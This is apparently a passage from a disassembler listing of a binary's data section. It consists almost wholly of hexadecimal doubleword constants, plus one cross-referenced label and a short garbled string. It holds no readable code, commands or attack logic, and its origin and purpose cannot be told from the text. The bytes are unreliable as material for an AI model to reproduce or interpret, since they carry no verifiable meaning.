		dd 217F0589h, 3D48DC1h,	38B850C3h, 0A11E0B94h, 0C19FD1D3h
		dd 6AE8B400h, 9846D036h, 0C65E280Ch, 0B214F168h, 9A1700F8h
		dd 0D5AA0C34h, 0C8C3006Fh, 98054781h, 4813EB46h, 0D40AA2B7h
		dd 0CA010897h, 0ED3E2924h, 0D7229432h, 8B0F707Bh, 802C9577h
		dd 13CCE63Bh, 9BAC3928h, 304DC593h, 871FDF0Ch, 88C97E00h
		dd 3B1C7A0Dh, 5A7520h, 38BDEDA5h, 6F6B1318h, 4BCE3D00h
		dd 0B4B758C9h, 0B2A517ADh, 30B41243h, 2101CC5Ch, 0E9113D00h
		dd 99635503h, 27A000ECh, 69F0DA76h, 0AE31DCEFh,	3A16318Bh
		dd 2860E425h, 36EA7Bh, 0A49BBD9Dh, 8F1045E6h, 0DABC570Bh
		dd 0FEC82DEh, 0E100441Fh, 941A830h, 7A9BE9E3h, 58D0B492h
		dd 513D9001h, 4AE71814h, 1F82AC68h, 78544269h, 0A0D67042h
		dd 7496F8CCh, 9ECDF8C5h, 30184B78h, 0D6097F28h,	0C1E5FAC4h
		dd 0E1D6EF8Ch, 0D9F8824Fh, 0B07490F7h, 0B3520171h, 7B9D6208h
		dd 4CE86341h, 968539CCh, 0D8727CBFh, 385A02h, 61D989DCh
		dd 2B1C2F98h, 0F8B56406h, 0E21C703h, 0F78D4D68h, 0DF9A07A0h
		dd 8B02E6F0h, 83373AF5h
		dd 53C06085h, 73D3881Fh, 75FD3300h, 3F835B17h, 0CC011FC6h
		dd 0D626BC1Bh, 90AE929Ch, 0EB1CAA08h, 7EE18000h, 59CAA9A5h
		dd 0B4895810h, 22C9D011h, 0AC0F00CFh, 0FC9DDCF2h, 8B01F029h
		dd 47E68953h, 0B860B0D2h, 62C62514h, 0D2487414h, 41FE0611h
		dd 59A49Fh, 63EE4637h, 96E5473Dh, 826E726h, 6875D071h
		dd 0C892506Ch, 3000A764h, 0F843BEF5h, 1EEF19B8h, 0C43A1EBBh
		dd 0ADADEC64h, 6A2100F8h, 99CB1DA5h, 0DB00014h,	0A97E360Fh
		dd 1B5CE9E0h, 6188750Ch, 6031005Fh, 6517F805h, 0D024D549h
		dd 1301ECC4h, 6F48E637h, 3B295989h, 54E1BC93h, 7A19801Ch
		dd 29B15917h, 234001Fh,	632A19Bh, 0D83CE680h, 8792890h
		dd 14895828h, 0E14A41E8h, 10A75822h, 270D9D40h,	21D67470h
		dd 0A879B9C0h, 4F485Ch,	2A9E8D20h, 0AFC989A3h, 0F419661h
		dd 7C32C338h, 0DA2E4E07h, 0A743C08Dh, 6405C231h, 0AB96CE47h
		dd 8901BCB2h, 75E4B891h, 0EF90C3E1h, 0A400E8BCh, 0F444DAB0h
		dd 1605CE2Bh, 8832561Fh, 0E77E753Ch, 58E38D0Fh,	830AE0B5h
		dd 707D9BEDh, 20A51F08h, 0CA033959h, 0AF3B362Ah, 3D70A29Ch
		dd 0E5558A6h, 60910752h, 0BCFD0D31h, 0C07700F4h, 86979BCDh
		dd 59E06B23h, 0DD1CAF04h, 0D09CA2EAh, 13B4E244h, 0A1A6BAF9h
		dd 0CFBCE41Dh, 0ABAF510Bh, 18F40BECh, 1CF86C10h, 8359568Ch
		dd 0D5FC739Dh, 0D4D83002h, 0C9DA2C9Eh, 0EC10DEB0h, 0A81E2599h
		dd 0F1811005h, 0D99CD5AFh, 47B4072h, 53C2999h, 1C3701BFh
		dd 0E7D57580h, 45633830h, 0F872D2h, 0CE19EF4Ch,	58A54E53h
		dd 0F4426C27h, 78B3D800h, 60792AAEh, 0C49AB400h, 26C236DEh
		dd 901E4C80h, 12904224h, 1C0C934Fh, 0A2DDCAA8h,	26328E13h
		dd 8C92F400h, 77BD3734h, 387573h, 726F8027h, 0D0607BDCh
		dd 2C6BBE27h, 0EEB57878h, 8808A871h, 32C100A4h,	8A090F1Eh
		dd 891311BCh, 1A0090D5h, 0B422B097h, 0C4600A1h,	43BA8742h
		dd 0BB0F3186h, 8035686Dh, 9057DDFCh, 0C428C569h, 0FA1802E5h
		dd 0B05496F7h, 28DDF58h, 1837610Fh, 48814029h, 3C7CC22Fh
		dd 6B10803Ch, 0B9F7CBh,	6ACC7D08h, 61E44C7Fh, 14A0C11Dh
		dd 459D803Fh, 0D9BAB158h, 43DE2417h, 88014D2h, 31891B04h
		dd 780B226h, 6F2D68D5h,	0FCE212A4h, 0C8C9BE00h,	173C24EEh
		dd 0E425F64Eh, 850254A2h, 4D5D9E76h, 156F9E0h, 0F097800h
		dd 0A2C99AF5h, 0DBF4A932h, 0A5B10117h, 0DE387DE2h, 73220062h
		dd 0F15098C8h, 1401A577h, 0AFE7F4E4h, 892DDF7h,	0E34F226h
		dd 0E1546307h, 0CB0B93EFh, 307138F0h, 0BD21C403h, 2A0049CFh
		dd 35B9457Bh, 3D346F8Fh, 80262B22h, 8C1B4064h, 24B6DA62h
		dd 6BA4BEC0h, 80DD4EB0h, 0B99FD5ACh, 968059DCh,	5C7D7B97h
		dd 782A58EBh, 181CC628h, 28EF8B83h, 0EA4F0B3Fh,	881F5C7Ch
		dd 43003D38h, 0F341B1C0h, 143F6CE9h, 94DC47B9h,	6993785h
		dd 402E4C50h, 1C6B2600h, 10C34891h, 7B5E2E8Dh, 3F6A8220h
		dd 3CA4CBB7h, 90201E76h, 0B211FFBCh, 3777CC2Ch,	0A0229C4Ah
		dd 3EF200DFh, 4F4FE712h, 0C0030846h, 3FA90039h,	0DBE1F46Dh
		dd 6E02444Bh, 37FD4F2Ah, 1624829Ah, 1608BD3h, 0D2A11FF8h
		dd 4215B43Ch, 37249C01h, 15806E3Ch, 0B948838Dh,	8A705000h
		dd 1406C7EFh, 0D0C14A11h, 0A856B4ACh, 0CF60D500h, 0B0C2A740h
		dd 719CC165h, 2127AD39h, 1700EA70h, 2EF2473Eh, 2A4CB40h
		dd 0D71B3877h, 1A3938F8h, 8823A4B8h, 46BF8360h,	507B07C7h
		dd 1757CD19h, 0A2366091h, 0A9019A55h, 0A805463Ch, 0DC669E5Fh
		dd 0A1D1C018h, 0FC009829h, 7A45E0ACh, 2F467EA2h, 78108203h
		dd 71F6D5B1h, 689BDB01h, 492E4113h, 3B05D8h, 184C6BC7h
		dd 0E114F2Fh, 10253025h, 0E579CCh, 0BD5B7623h, 0CD431852h
		dd 0BB0181F8h, 2005C62Dh, 6C30BE01h, 342E000Bh,	22A99906h
		dd 0B90258F9h, 395AEA72h, 0AF9C6143h, 96002072h, 5097054h
		dd 520092B1h, 7F3E1657h, 3D408Fh, 385E977Eh, 0E89BD418h
		dd 77754707h, 0A071CBB9h, 0E9F03FDFh, 0FC970019h, 4034A137h
		dd 4600E7CDh, 0E57E3104h, 13A7DF93h, 0D1362920h, 7D4EE684h
		dd 376F7CCCh, 0BF8280E1h, 24BE3F72h, 4020E147h,	0A1CA9E39h
		dd 50FBF204h, 0CC81DA3Eh, 1710B6A5h, 3AF9E263h,	5A587428h
		dd 0F2F4228Dh, 40420F02h, 153F6D94h, 34DD47BAh,	54A49A20h
		dd 80EA432Eh, 0B2522764h, 0E53100ECh, 0B0C681ABh, 41E9245Ch
		dd 3F7001FCh, 23E047BDh, 909D21E0h, 0A8D50F4Eh,	0E0A612C1h
		dd 2C24C300h, 8279EA6Fh, 28FAA626h, 97A3B0B0h, 0EC874858h
		dd 261077C8h, 0EEA4A173h, 787AC012h, 25FB50Eh, 970A6085h
		dd 337F0Fh, 0BBB6760h, 3F66A283h, 0D72C7000h, 0AF392E8Ch
		dd 909048F0h, 4C442A14h, 81093D58h, 6CCCD241h, 0C803DC45h
		dd 52C4A1h, 31299804h, 7A072712h, 1D435E70h, 1A8858E0h
		dd 104A279Bh, 61EA7C91h, 3CDAC40Ch, 0D6EEFF0Ah,	1B02CC32h
		dd 0E63A9A11h, 0DACF0050h, 41A19755h, 964F0C31h, 0E0DD2488h
		dd 7B4F7FE8h, 54718B7h,	38141101h, 79D82C01h, 90D9D573h
		dd 0B4B66824h, 0D31742F0h, 90A808A7h, 0D5320F33h, 91BDA42Fh
		dd 9D15C7A0h, 802478C0h, 6004268Dh, 0BD420E2Ah,	651D8B2Fh
		dd 7BD09093h, 7CE48EC5h, 51910702h, 74F9F52Eh, 3BC00068h
		dd 0C7B47705h, 454DE840h, 4232Bh, 735E5145h, 0ED8F92h
		dd 1A67597h, 0F39439ACh, 0C602D096h, 0F8B13A29h, 0BA5091F8h
		dd 0BA64D600h, 0D5EED996h, 38FD4616h, 0C5F640D1h, 3B20CE12h
		dd 2F9990h, 4E6AB877h, 5DC5F401h, 0B01B1425h, 1EC6484h
		dd 3F488E7Eh, 84319F8Ch, 53A6C188h, 0D31888h, 0FBFA9CBEh
		dd 71C3DBD1h, 121BF60Fh, 0E16D0EFCh, 0E6B4D398h, 2D3E22C0h
		dd 0D84432C6h, 0C9D6BE00h, 0CBACAD2Bh, 466E0BCCh, 9C840956h
		dd 18374AEAh, 0BC071592h, 0BBC0ACECh, 5C0B1D8h,	9F7B4342h
		dd 0D08C4B25h, 49363840h, 5246E680h, 0C222B82Ah, 0EB5D2600h
		dd 0F56A259Dh, 5F512E8Ch, 0CB1138h, 0C269E63Eh,	8E3C4Fh
		dd 0CEC69896h, 13A840D6h, 0B7850105h, 1CC157FCh, 251847F3h
		dd 38A0A419h, 37103289h, 0A8179B2Ch, 34881E15h,	94573BE9h
		dd 7DC2F480h, 0FE16E4FBh, 0B2689803h, 0D2EB1927h, 9207B1Eh
		dd 0C071A9D5h, 0F29FD462h, 0B1C7C78h, 38A2CDB9h, 4F2898C0h
		dd 9837FB17h, 4DB0C32h,	98D40BD2h, 3AFEFA60h, 0B02DC35h
		dd 7B9B232Ch, 8B5A4080h, 3133D1Eh, 0A76EAh, 2167CE0h, 38F630B4h
		dd 0CF0FEF4Bh, 0B3808F9Ah, 8E505BA4h, 73805416h, 0DC8D520Ah
		dd 199AF004h, 55C3ACB8h, 0EA9087C4h, 0A7395F41h, 0DCD5844Bh
		dd 8881A11Eh, 0C90D2AEBh, 4A305CBh, 5DF340h, 349D7C33h
		dd 62DC1739h, 9C5ED802h, 661B2DA4h, 0C3931DD0h,	0C44041E3h
		dd 3D74E17Ch, 7BBA1688h, 4B534404h, 134CF0h, 8889960Dh
		dd 104738D5h, 0BC0F32E4h, 0B5AD62h, 3E29DF08h, 0A537014Ch
		dd 0EC5558E3h, 0CCD0F146h, 0B707C4C3h, 8F1B24C8h, 0C59EAFE0h
		dd 0FD30079h, 6211950Ch, 0EE01E822h, 0BF011403h, 0EE4779Ch
		dd 0E6C61786h, 0DCDC2D4Bh, 0AB003AE1h, 484AE2B3h, 0A4812AD1h
		dd 779B03E4h, 0D050EB41h, 2AC79F83h, 0C2320308h, 17D8676Ch
		dd 3490CB10h, 97801800h, 0A8AC21AFh, 0CD0B0246h, 9F738E5Fh
		dd 0E30094F2h, 9C2679A7h, 358FC4h, 32DFF41Eh, 29DED9A0h
		dd 0CC709228h, 0C031EC65h, 0CF4C8h, 240901F4h, 0A4EA12B7h
		dd 0C4ED5800h
		dd 43529840h, 0E7E23BF7h, 5800086Bh, 8A391147h,	0D0021C2Ch
		dd 22B23441h, 717D1E8h,	3110C285h, 2CE4D927h, 0FC1EE1F0h
		dd 0FD56745Ah, 0A3186F02h, 61105698h, 28DB789Dh, 0EA620BBCh
		dd 8048C43Eh, 9C202BEh,	616F5E1Dh, 9753858h, 799BA910h
		dd 81895A84h, 1E9F384h,	0BE10C75Dh, 0FB77C2A6h,	589BA30Ah
		dd 0A42B3C8Bh, 0D497C82Eh, 14889094h, 0CAFA0985h, 8064EE0Fh
		dd 16D53E00h, 51BE762Bh, 893D016Eh, 38E08890h, 0BC5070BBh
		dd 0BD51938h, 343F018h,	0BC61F5D8h, 87E55480h, 908D0F04h
		dd 0FD00AAADh, 2C68F7EDh, 1AC428C0h, 0F4C7D696h, 0F05B4911h
		dd 8E581681h, 81B43CE4h, 73E2F29Ch, 17F5D8h, 2D985140h
		dd 9A1B4F1Dh, 8AA24600h, 0AFCD1805h, 808C4AB4h,	0A0631C6Ch
		dd 0A82450E9h, 71005DAFh, 0DB8EB1EEh, 570373h, 85F5190Ah
		dd 320DF216h, 0C7AC9995h, 480C703Ah, 7400D4E8h,	0EB86BA8Ch
		dd 45E427Fh, 34102180h,	7D8F81Ch, 14B72C6Dh, 7F6E6AB0h
		dd 0F31B39D8h, 0B2728884h, 80B48037h, 7916F41Ah, 0A081390Bh
		dd 223B50E6h, 94F237D0h, 0C4202145h, 30775ED9h,	5F1648C8h
		dd 7054D400h, 284F3A53h, 0F5E12E51h, 1E320FB7h,	546FE03h
		dd 788C45C8h, 8CA2B72Eh, 811F41Ah, 0D40914C8h, 25EC64A9h
		dd 0E863852Eh, 36B144C0h, 180F2605h, 8C5D57C1h,	5B1E8140h
		dd 903F8038h, 0B5D10F4Ch, 118FBEFFh, 0D58CD0F6h, 0E70E21E6h
		dd 630A1E26h, 12AD6B06h, 0D0C2A530h, 0D216D080h, 6581B56Eh
		dd 6CA85198h, 12CE11DDh, 0ACB4A2D4h, 0C4394C16h, 5078F4C0h
		dd 7EFAA811h, 18EE4C03h, 0D80DC9A0h, 0A069F925h, 0B42F18Ch
		dd 0E5EF3ACEh, 8744A080h, 461EDDD1h, 0C20963DBh, 0C138C277h
		dd 4608DE0Ch, 611633ECh, 0C0B27B94h, 1CB0C00h, 4B7BA2Dh
		dd 0B0B35A00h, 963859F6h, 11F0BBA5h, 6E4D0ED9h,	8FE04798h
		dd 0CEC32070h, 0FE9B0130h, 6BEE527h, 5B62D0A5h,	1CC0F1Ch
		dd 0B26024AEh, 767AEEAh, 88B61425h, 3D3A012h, 4082D1AFh
		dd 13844BF2h, 0D0CC086Dh, 0EA422954h, 28603EE9h, 24FA1Bh
		dd 0E318D38h, 14D32D4Dh, 2809ED71h, 0D9E2841Eh,	0EA0B82DCh
		dd 0E861F1A8h, 54CAE075h, 0FD205504h, 70A2A3D4h, 0BE005821h
		dd 0D4E56C2Ah, 5C14B79Ch, 55F6A400h, 70238793h,	1CA57C42h
		dd 0C5901EE9h, 0CDDF4429h, 0B4206E40h, 48BF5817h, 522089Bh
		dd 3890AE4Bh, 18D53Bh, 0EAEF7F06h, 64A19BF9h, 191C71E8h
		dd 1BC78959h, 81311446h, 844B158h, 1409B484h, 2F0C6D0h
		dd 1223C2E0h, 0C444A8A0h, 77A38004h, 8881DEC0h,	7C23193Eh
		dd 8C0164Eh, 7840D9A0h,	27E71779h, 5812324Bh, 625020DCh
		dd 0C4E060h, 0C7ECEFFh,	0F3987D34h, 80822629h, 94003713h
		dd 21C216F4h, 406BE743h, 426B124h, 0ACB93112h, 6D968881h
		dd 122F9B56h, 9D0C0070h, 0D99AE43Fh, 0C6A2600h,	69626496h
		dd 0E84600FDh, 5DF947DCh, 0C900C577h, 0BD99CDBh, 6135A49Bh
		dd 0B660DC81h, 1ED02079h, 7443292Ah, 8339C0B6h,	991F7903h
		dd 80AE9CB4h, 0F3056787h, 8D11071Eh, 0D6C78C01h, 58801D0Ah
		dd 3ED64BAh, 7926B8D9h,	50450DFh, 0A1C5153Ch, 89CE2808h
		dd 0FC30A5D4h, 71008026h, 0A89BE752h, 0B5AC29h,	9F51382Fh
		dd 20F004D7h, 0C8A4AF49h, 6348B9C4h, 39A7A428h,	0AA3BB24Bh
		dd 5AA5F7BDh, 0CA260C4Eh, 0D5048411h, 84A2BEA5h, 252FC822h
		dd 0EF74257Bh, 0DCC0D0ADh, 0A57C73B7h, 5CA39700h, 0D91723E8h
		dd 43B087h, 7133A49Ah, 0A0D5AAEFh, 38C45931h, 183257C6h
		dd 43C4AE2Eh, 0A5F891FAh, 0A100E5D4h, 57AAC29Fh, 9B8E7AFFh
		dd 0B41C01D8h, 0F483BF36h, 28B6C655h, 0D0607392h, 3817C1h
		dd 1C253C98h, 0E13EF05h, 3D09970Bh, 11E4002Eh, 0BCE261h
		dd 539E377Fh, 0EEFF8CFCh, 0B4161328h, 931CDD05h, 0CD854725h
		dd 4E04ACBDh, 0E992DA36h, 0F3EE1640h, 62081Fh, 87DB3A32h
		dd 95D2BBBh, 0F8264200h, 4ECFE634h, 6B550071h, 0E345FE67h
		dd 8709D628h, 8E60979Ah, 4E2A80D0h, 62CF3EE9h, 0E166D021h
		dd 38FC2525h, 67863680h, 430005A7h, 4BFD0906h, 56BECDh
		dd 37802ADBh, 1753E6C6h, 9B26821Eh, 0FE889A41h,	0C293924h
		dd 0A51DD480h, 0FCB83077h, 2DC0AF09h, 261081ECh, 54293629h
		dd 9027BF27h, 4EFEC0A1h, 8E6BCF2h, 0B89FB300h, 75E38532h
		dd 7BD73D4Ch, 74C69291h, 930A0C15h, 40ED0008h, 0C57420DAh
		dd 1894955Fh, 1CE3A400h, 0BFF254FDh, 0DB9E30D5h, 7B9216F9h
		dd 67991D38h, 96C845A0h, 0D8C8A0D3h, 0CA6211C5h, 0BD0C5CE6h
		dd 0AB214D04h, 4850C8B6h, 5EBB1705h, 0A4E4B1E2h, 0D211C408h
		dd 1419D427h, 971B0858h, 493C4C80h, 211F0ED5h, 0DE0E7571h
		dd 0A5CFE061h, 9A7D9Bh,	5923D80Ch, 4DBB0795h, 9D004098h
		dd 0E3E946DAh, 0A055313Fh, 55ACCDCh, 15F75B92h,	0B71CD216h
		dd 0C9C7802Eh, 4EDB4132h, 253C80E9h, 0B9073AD4h, 2F706321h
		dd 38EAD520h, 0BBD32D17h, 45EE3810h, 0C6E96512h, 80094A1h
		dd 9131Eh, 8518778Eh, 0AC9A8CD5h, 0E01EF67Fh, 530057B7h
		dd 7A20C73Eh, 92C90070h, 87623280h, 0E62F607Bh,	286454h
		dd 3EEB9007h, 28730FEh,	12FDBAA0h, 0C78D6E00h, 0C1010EDDh
		dd 30A11E9Ch, 0E70D78EEh, 2B412F53h, 0F8A97C20h, 5CD31D24h
		dd 76E04058h, 0C24B4F19h, 603BB807h, 71C90C1Eh,	0A410AFECh
		dd 16297499h, 590EDCC1h, 0DCF00024h, 6E723Dh, 88414CCAh
		dd 38661046h, 0E6D1616h, 403990C2h, 0AB7A18h, 75584092h
		dd 0AEC526EFh, 40949E9Fh, 0EB003D5Ah, 901676E9h, 5C7AC19h
		dd 17E55014h, 0BBE008D4h, 0FCDC9D45h, 0BAC74466h, 3D716E01h
		dd 0A91790F0h, 2015DC4h, 0C539B159h, 0E4C0C995h, 7B00E697h
		dd 767E27BEh, 12422EDCh, 7988711h, 0D0EABBA0h, 0BD17CC8Fh
		dd 4AEBF300h, 8D8FCF7h,	3F720289h, 3A2921AFh, 90B5EC44h
		dd 903474h, 61339450h, 1946F462h, 89869200h, 2CC9417Ah
		dd 9840EDA5h, 0F3DC96A3h, 88F23997h, 7C82BA20h,	5C102FA4h
		dd 0D07409E8h, 0BF4CE300h, 428FF9E9h, 1CFB04E0h, 8C80FCD7h
		dd 0BA07D968h, 49E67957h, 0D0723Bh, 0B2FCB837h,	0F350DFD2h
		dd 91141719h, 0A05024C8h, 0B0DC02D0h, 483E4968h, 8804864h
		dd 4890A789h, 5400CF82h, 0D95EE195h, 0E85FBE4h,	8CFD46D0h
		dd 5050E3C7h, 151CD203h, 5840C532h, 0D925214Eh,	924F709Eh
		dd 2C38AB05h, 0A081E457h, 5B17619Fh, 9401FC6Ah,	0C419AFC2h
		dd 0C891B8D5h, 1B7F2380h, 280DC732h, 1608C238h,	0E2111D50h
		dd 76200174h, 49D624A6h, 24E92CD4h, 1D4F1C94h, 0D2610055h
		dd 0E6C76B3Eh, 311D0217h, 11A4C8h, 5C22DB8Fh, 0BD16977Ah
		dd 72AEEB00h, 8D307BE7h, 13521460h, 0B22A466h, 0BC00E4B9h
		dd 138DC96Eh, 97B70FA0h, 106020BDh, 3475B55Dh, 0BA076130h
		dd 13FC1981h, 0E40213C3h, 68004F80h, 0CAF86CDFh, 0FACE6E94h
		dd 508601EDh, 6674F9C2h, 0C079BFh, 4330A512h, 0EB2945h
		dd 0BAE7CB72h, 0A092E087h, 16BB374Ch, 0E08E300Fh, 2EAFCF0Ch
		dd 9803A9F1h, 2A8FC367h, 8A7B8805h, 144003Eh, 0DC6E1EE0h
		dd 264C6A65h, 43F407D0h, 47C0F169h, 7FF38B09h, 910701AEh
		dd 0EBE92D8Ch, 590FCCE6h, 0B4D88D1Ch, 0AEA4C140h, 7A04BB36h
		dd 0D8309F40h, 0EC004357h, 8CBA6F22h, 11B49CFh,	0F6ED1F77h
		dd 235EC5E3h, 757212F4h, 0BF04E4F2h, 40E89F7Ah,	0E0301E79h
		dd 0CB3A003Fh, 4C219B18h
		dd 650260BEh, 0AF8327D0h, 50907C9Dh, 57F41BD3h,	928F3C00h
		dd 11CCC477h, 0B358008Ch, 0C3F39081h, 14BD9FA4h, 9A25050Ch
		dd 0B4AF1F95h, 0A80004ECh, 6C921C38h, 98062Bh, 0CFFE73C0h
		dd 7B5DB4D6h, 80189F2Ch, 821CCC80h, 3A36F72Fh, 8581146Ah
		dd 1648D58Dh, 4FD47043h, 0D4150B14h, 0D7DD109Ch, 85DA40h
		dd 0ED8821A7h, 0BD588E11h, 264A9000h, 0CF3F6A9Eh, 0EDB064Fh
		dd 9925AF37h, 4DC3A303h, 0A8891DAEh, 1F806ED6h,	8ABFB947h
		dd 1C68D357h, 7F5C00D5h, 0DDBA3763h, 0AAB0400h,	0CC43A527h
		dd 0BC443ADBh, 25CC4B28h, 4438115Ch, 0B23D9A41h, 0B968018h
		dd 0A0CED65Ch, 0A1B7092Dh, 0B8497B60h, 22D73129h, 0FCDA22A4h
		dd 102030B3h, 5295AA4h,	0E2419600h, 3EFEB980h, 8C4A2818h
		dd 693880B8h, 199D3E8Dh, 1321B700h, 5807A46Ch, 0D71AD402h
		dd 550F3EFAh, 0EB9FA003h, 205C7100h, 967F7B6Ch,	272C3C64h
		dd 6A132E00h, 94F284EBh, 0DCF1F500h, 0E187F28h,	0A3D80022h
		dd 1DCB307Eh, 0B3278C5Eh, 8BBC2004h, 1BAA071h, 68218710h
		dd 71256353h, 0AE3804B0h, 0A66BF420h, 5B1D17F4h, 330EEB8Bh
		dd 0C0B12F80h, 0D59A78D6h, 0C12CA2A8h, 0D411CCF0h, 4EC917A5h
		dd 631D1310h, 9C00A2C8h, 84AC6194h, 70B59DD4h, 7A805068h
		dd 0F6AD06DFh, 0C0629102h, 61DD027Dh, 0EC1468D8h, 0E07E8F78h
		dd 2634FE42h, 0E2840021h, 0A2172A25h, 0B4045F7Bh, 20CA3E74h
		dd 0E780D4FCh, 9A3D4507h, 4C4BAE00h, 0CF175138h, 935700D9h
		dd 0C8BC766Ah, 0D5789410h, 0D8A39A00h, 0F774DF45h, 167300B0h
		dd 1C47BC58h, 7B5E8D63h, 40A43C88h, 4A4FE6C9h, 6F141C8Ch
		dd 0C7CB20AFh, 718038DBh, 2AFB3931h, 5502001Dh,	7B3B6981h
		dd 409616CEh, 0E46EE940h, 1FA730Bh, 4DF89386h, 0D1D2D329h
		dd 9A1EDCDBh, 27067A79h, 0B113B27Bh, 0C6E22270h, 11A5D525h
		dd 7B085B74h, 88A02964h, 0CC19CA0Ch, 28E50232h,	6D2520B0h
		dd 270635B2h, 0EBD6F380h, 0CF10F330h, 9881E402h, 0B85ED412h
		dd 7CE9AB45h, 0E6141422h, 9690314Fh, 0B200D0A2h, 0F2EFB8C3h
		dd 0E04CD60h, 9D9B5BF9h, 0E9BC2CC1h, 512CC67h, 0FE1C70D8h
		dd 7402650Eh, 3C5AD2B1h, 25D0CC35h, 786CCAB7h, 1B50B000h
		dd 6EBB330Fh, 2CCE0069h, 0CDDF666Ah, 305C1CDDh,	990E601Fh
		dd 3F1799Ah, 0D111F2E5h, 0F027BA02h, 0A0E8BB20h, 39FF4186h
		dd 0C1164B64h, 0A7400371h, 47C83988h, 26073B03h, 0C0872A9Ah
		dd 0F87C0B80h, 77653C8Dh, 9F9BCA07h, 30BCD7BDh,	3F739460h
		dd 7824C703h, 9812D68Fh, 0EE52A3Eh, 0BD85C9CCh,	13506FA3h
		dd 0FCD286F8h, 28C0A074h, 2F322E09h, 385FEA2Ah,	58802384h
		dd 83AAAC7h, 0F3AF26Eh,	0B0A5838Bh, 196FBDCh, 5BC1C739h
		dd 0F872AFB1h, 5F002CA0h, 0E695439Fh, 3D9AE557h, 0F081BFCFh
		dd 1822A985h, 7E999F88h, 0C088271Bh, 51035Dh, 5B4AF4E6h
		dd 63E7C217h, 7ECD750Eh, 0BC12C397h, 157BB099h,	1840C0F5h
		dd 90D1FAC3h, 7F0789DEh, 7F07335h, 60B17B4h, 9E7436E7h
		dd 863C710Eh, 83520037h, 8719C28h, 81176098h, 5D8B7995h
		dd 0E2B3270Fh, 0E6009D5Fh, 0E5F07326h, 6120C37h, 9186197h
		dd 78309A74h, 92765991h, 40560365h, 0CE882AD4h,	44D69C8Ah
		dd 7B953C06h, 5FDD0339h, 0DA4E10FAh, 0B357913Ah, 0C16C193h
		dd 8E786ED0h, 38007A59h, 5521E6BBh, 0D7E1B7h, 5DC32C3Eh
		dd 7D06C37h, 0C4C69700h, 509434C1h, 0BA48189Ah,	0B34F18AAh
		dd 9BFACC00h, 0E8D7E059h, 637B07E9h, 19404D0h, 80967819h
		dd 4BA60C69h, 0B84EF618h, 34EF00E2h, 0E2A23BD8h, 0E7153CE5h
		dd 0E941CBFh, 802F64EEh, 99E772Ch, 9845E6D9h, 29BC009Bh
		dd 89C9DEFFh, 0F0D0371Ah, 30CF02ABh, 416F09E4h,	97E0C11Eh
		dd 7694004Ah, 0E04C40A1h, 0CC00CD07h, 144163D2h, 2AE5E687h
		dd 78C9795h, 0B6947FEFh, 74032051h, 0E254703Ah,	0EB0066A0h
		dd 90E67D16h, 1845A3E9h, 0E88A561Fh, 8C899844h,	0E77D4810h
		dd 837FAC03h, 0C930F22h, 19649519h, 87F221E1h, 0A7E619CFh
		dd 40DEDF5Dh, 3E8559Dh,	4FF9001Eh, 0AAD31624h, 490064FAh
		dd 0FD080F8Ch, 0BB807h,	0A02D6CAh, 55A87E6Ah, 0CB711000h
		dd 0D76415E0h, 6FE918E2h, 0D490C1DCh, 7AA77513h, 0BB0FD700h
		dd 0C48B5494h, 88C30781h, 0AAFC9950h, 939C321Dh, 1A793602h
		dd 0B36E6061h, 771D0360h, 23BF31F0h, 0C59C3100h, 62F3A76Dh
		dd 74D40002h, 0A5EFC6F4h, 0F90449B9h, 0DA584C9Fh, 0E16F5081h
		dd 74A99181h, 0E866A22Fh, 46752B26h, 57E74900h,	1DFD2903h
		dd 139E2820h, 93E53760h, 33F08071h, 0BAB0D136h,	0EF15C702h
		dd 46ED61ECh, 7966A068h, 3DFCB9h, 3E7F0C6h, 0B600D9Ah
		dd 0AAFC4000h, 0CA925D98h, 943A1DFAh, 0D9D409F3h, 6891CC00h
		dd 0D4A4BFBCh, 18000BEAh, 31F541DCh, 0C412CEh, 539634AAh
		dd 0A697E58Bh, 997899C6h, 0A5C90781h, 404DD792h, 0E06B47E6h
		dd 998D4C03h, 0F8946FEFh, 309ED69Bh, 0CEE1D70Fh, 6E49186Ah
		dd 765D9FD4h, 0C8CB99CAh, 220CC390h, 1169891Eh,	9FFC9818h
		dd 778031h, 978A69DEh, 9D545B63h, 0D345F30Eh, 0F06E4067h
		dd 9F67313h, 72DCB757h,	64B0AB08h, 0DD4321A0h, 18634430h
		dd 19145E96h, 6A31790Bh, 0E37030D2h, 0C71B3980h, 0E6D8D0C3h
		dd 9F661D3Eh, 0E446106Fh, 79519CFBh, 0E417BCDh,	888B0DFDh
		dd 3A9C47CCh, 0B1930A06h, 7888B845h, 1306329Eh,	20899491h
		dd 27CA3098h, 85A0884Ah, 141A0E2Ch, 0D058A85Bh,	14A3790Ah
		dd 0F49C50B9h, 81024360h, 22A6861Ah, 908C41Bh, 0F133E7Bh
		dd 0C8FBC004h, 4E00B200h, 2AEE89B0h, 0A3F9F28Eh, 49A0E6CCh
		dd 0E02260E6h, 0E8AFB700h, 884B764Eh, 35441FB9h, 0B86B0584h
		dd 725C81B3h, 0F947EDF5h, 3D003278h, 0C39600C4h, 6A9A7920h
		dd 0E7980A5Eh, 8F48E85Dh, 31D81C21h, 71C0E46Fh,	0AE0F3503h
		dd 0FABF004Bh, 5308CBB5h, 9FFA1A9Bh, 94E21324h,	0A0549564h
		dd 0D8408974h, 11C09078h, 2316F7FCh, 26DA1E28h,	0C8D50366h
		dd 1982B934h, 0C5F958A1h, 9443F806h, 6169E701h,	859EC636h
		dd 197448h, 92CB3C63h, 8F7B3728h, 8881066Eh, 225CA8DFh
		dd 7F2E8711h, 0E6600837h, 0E2603955h, 0EF720095h, 4CED703Ch
		dd 4A0A9A08h, 0D4F0D8C5h, 6FC43Bh, 0A6DA36F5h, 487A4BDEh
		dd 11EBE502h, 38E1EC45h, 4200EEC9h, 3BC2DC9Fh, 0EC565Bh
		dd 377B1C8Eh, 65368CB9h
		db 7Ah,	0EDh
word_544F42	dw 9401h		; DATA XREF: ___:off_4374C0o
a@ssxsdmixcR	db '@Sè噤Œix—±R',0
		db 4Ah,	58h, 37h
		dd 7972F1D7h, 0EB0B583Fh, 0F9C14600h, 0D59313C9h, 844F548h
		dd 0AC921821h, 88DA014Ch, 605AF9C2h, 7403C760h,	7F2B141Ch
		dd 798001C0h, 0FBA7D54Dh, 4B798098h, 0FE7E428Dh, 0F7EF0350h
		dd 9BB0708h, 288EE7B0h,	0CBD01106h, 0E031A2FCh,	0F2CE00BAh
		dd 8C769653h, 0EE0149E8h, 0DD386308h, 0C8DF5EADh, 0BD4A66h
		dd 0D1B38B48h, 0CC829419h, 0CEF14300h, 0BA42C107h, 9D70F39h
